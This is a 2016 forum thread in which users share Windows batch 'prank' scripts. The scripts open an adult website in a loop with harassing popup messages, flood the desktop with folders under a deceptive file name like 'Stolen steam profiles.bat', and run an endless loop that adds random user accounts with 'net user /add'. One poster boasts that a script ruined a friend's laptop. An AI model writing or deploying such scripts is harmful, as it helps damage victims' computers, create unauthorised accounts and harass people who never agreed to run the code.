Basic Batch (Windows)

Discussion in 'Off-Topic' started by Logo, Mar 3, 2016.

  1. Logo

    Logo Canadian, Eh?
    Premium

    Joined:
    Dec 1, 2015
    Messages:
    1,032
    Likes Received:
    570
    Batch? wut dat?
    Batch is command code for Windows-OS. It runs command through the command prompt terminal.

    Basics:
    @echo off - No idea what it does anymore.
    echo - Send messages me to command prompt terminal
    color <whatever color> - Change color of the terminal output language
    start <file> - The file has to be in the directory, but it starts that program
    start "" http://www.SaveChewbacca.com - opens a page in their default internet browser

    Variables:
    %random% - generates something random
    %userprofile% - grabs your user profile

    Very basic. I don't want to get into detail about this because it can get annoying.

    My version of screwing with people:
    @echo off
    :start
    %random% %random% You will be destroyed! %random% random%
    start "" www.adultmoviesitehere.com
    msg * Enjoy the show!
    msg * Don't worry, I already called your wife/girlfriend and she's on her way home, so hurry up!
    goto start

    If you want more information, and or help, PM me or comment below.
     
  2. Logic

    Logic Expert Member

    Joined:
    Feb 19, 2014
    Messages:
    1,835
    Likes Received:
    232
    lol wut
     
  3. Sir-Teabag

    Sir-Teabag Forum Fanatic

    Joined:
    Sep 2, 2014
    Messages:
    5,388
    Likes Received:
    1,503
    Put this at the beginning of every script and it makes it a bit clearer.
    Adding a few,
    %time% - shows the exact time.
    %date% - Shows the date
    echo %time% %date% Shows the exact time and date

    Mine's better.

    @echo off
    title trolololol
    color f
    cls
    msg * trololololol
    :here
    MD %random%Inappropriate_Files
    goto here

    Edit: Put that on someones desktop and name it Stolen steam profiles.bat or something.

    The Title bit names the cmd prompt.
    cls - Clears the screen
    MD - (I think that means Make dictionary or something) Makes a folder
    :here - makes a checkpoint-type-thing
    Goto here - Goes to that checkpoint called 'Here'
     
  4. Logo

    Logo Canadian, Eh?
    Premium

    Joined:
    Dec 1, 2015
    Messages:
    1,032
    Likes Received:
    570
    start "" www.adultsite.com
    times 1000 = drive damage.
     
  5. Sir-Teabag

    Sir-Teabag Forum Fanatic

    Joined:
    Sep 2, 2014
    Messages:
    5,388
    Likes Received:
    1,503
    mm

    The one I did up there, I told my mate to run that and it spammed his desktop with folders deleting everything he had on it and then he had to get his laptop reset anyway. xD

    Good times.
     
  6. Logo

    Logo Canadian, Eh?
    Premium

    Joined:
    Dec 1, 2015
    Messages:
    1,032
    Likes Received:
    570
    :users
    net user %random% /add
    goto users
    Hehehehehe
     
  7. Sir-Teabag

    Sir-Teabag Forum Fanatic

    Joined:
    Sep 2, 2014
    Messages:
    5,388
    Likes Received:
    1,503
    :(

    Capture.PNG
     
  8. Logo

    Logo Canadian, Eh?
    Premium

    Joined:
    Dec 1, 2015
    Messages:
    1,032
    Likes Received:
    570
  9. Sir-Teabag

    Sir-Teabag Forum Fanatic

    Joined:
    Sep 2, 2014
    Messages:
    5,388
    Likes Received:
    1,503
    Got this instead.

    Code:
    Microsoft Windows [Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All rights reserved.
    
    C:\Windows\system32>net user %random% /add
    The password does not meet the password policy requirements. Check the minimum p
    assword length, password complexity and password history requirements.
    
    More help is available by typing NET HELPMSG 2245.
    
    
    C:\Windows\system32>
     
  10. Logo

    Logo Canadian, Eh?
    Premium

    Joined:
    Dec 1, 2015
    Messages:
    1,032
    Likes Received:
    570
    net user %random% %random% /add
    Fix^
     
  11. gone

    gone Expert Member

    Joined:
    Dec 2, 2013
    Messages:
    1,400
    Likes Received:
    370
    Probably should remove that.
    It links me to an actual site
     
  12. Logo

    Logo Canadian, Eh?
    Premium

    Joined:
    Dec 1, 2015
    Messages:
    1,032
    Likes Received:
    570
    OMG LOL
     
  13. gone

    gone Expert Member

    Joined:
    Dec 2, 2013
    Messages:
    1,400
    Likes Received:
    370
    HAHA
     
  14. Logo

    Logo Canadian, Eh?
    Premium

    Joined:
    Dec 1, 2015
    Messages:
    1,032
    Likes Received:
    570
    Keeping it. Incase you guys need inspiration.
     
  15. gone

    gone Expert Member

    Joined:
    Dec 2, 2013
    Messages:
    1,400
    Likes Received:
    370
    "inspiration" That's one way to say it. I'd say in case you guys need some job options.

    If you know what I mean. *wink* *wink* *nudge* *nudge*
     
  16. Logo

    Logo Canadian, Eh?
    Premium

    Joined:
    Dec 1, 2015
    Messages:
    1,032
    Likes Received:
    570
    I dunno my girlfriend got me a job.
     
  17. gone

    gone Expert Member

    Joined:
    Dec 2, 2013
    Messages:
    1,400
    Likes Received:
    370
    wot
     
  18. Logo

    Logo Canadian, Eh?
    Premium

    Joined:
    Dec 1, 2015
    Messages:
    1,032
    Likes Received:
    570
    Yeah, quite a few. Working hard.
     
  19. gone

    gone Expert Member

    Joined:
    Dec 2, 2013
    Messages:
    1,400
    Likes Received:
    370
    I'm confuzzled.
     
  20. Sir-Teabag

    Sir-Teabag Forum Fanatic

    Joined:
    Sep 2, 2014
    Messages:
    5,388
    Likes Received:
    1,503
    I hope you don't mean... err...mmm...
    nvm
    Awesome!
    It only works every few lines. I have to do it like this.

    net user %random% %random% /add
    cls
    net user %random% %random% /add
    cls
    net user %random% %random% /add
    cls
     

Share This Page

*/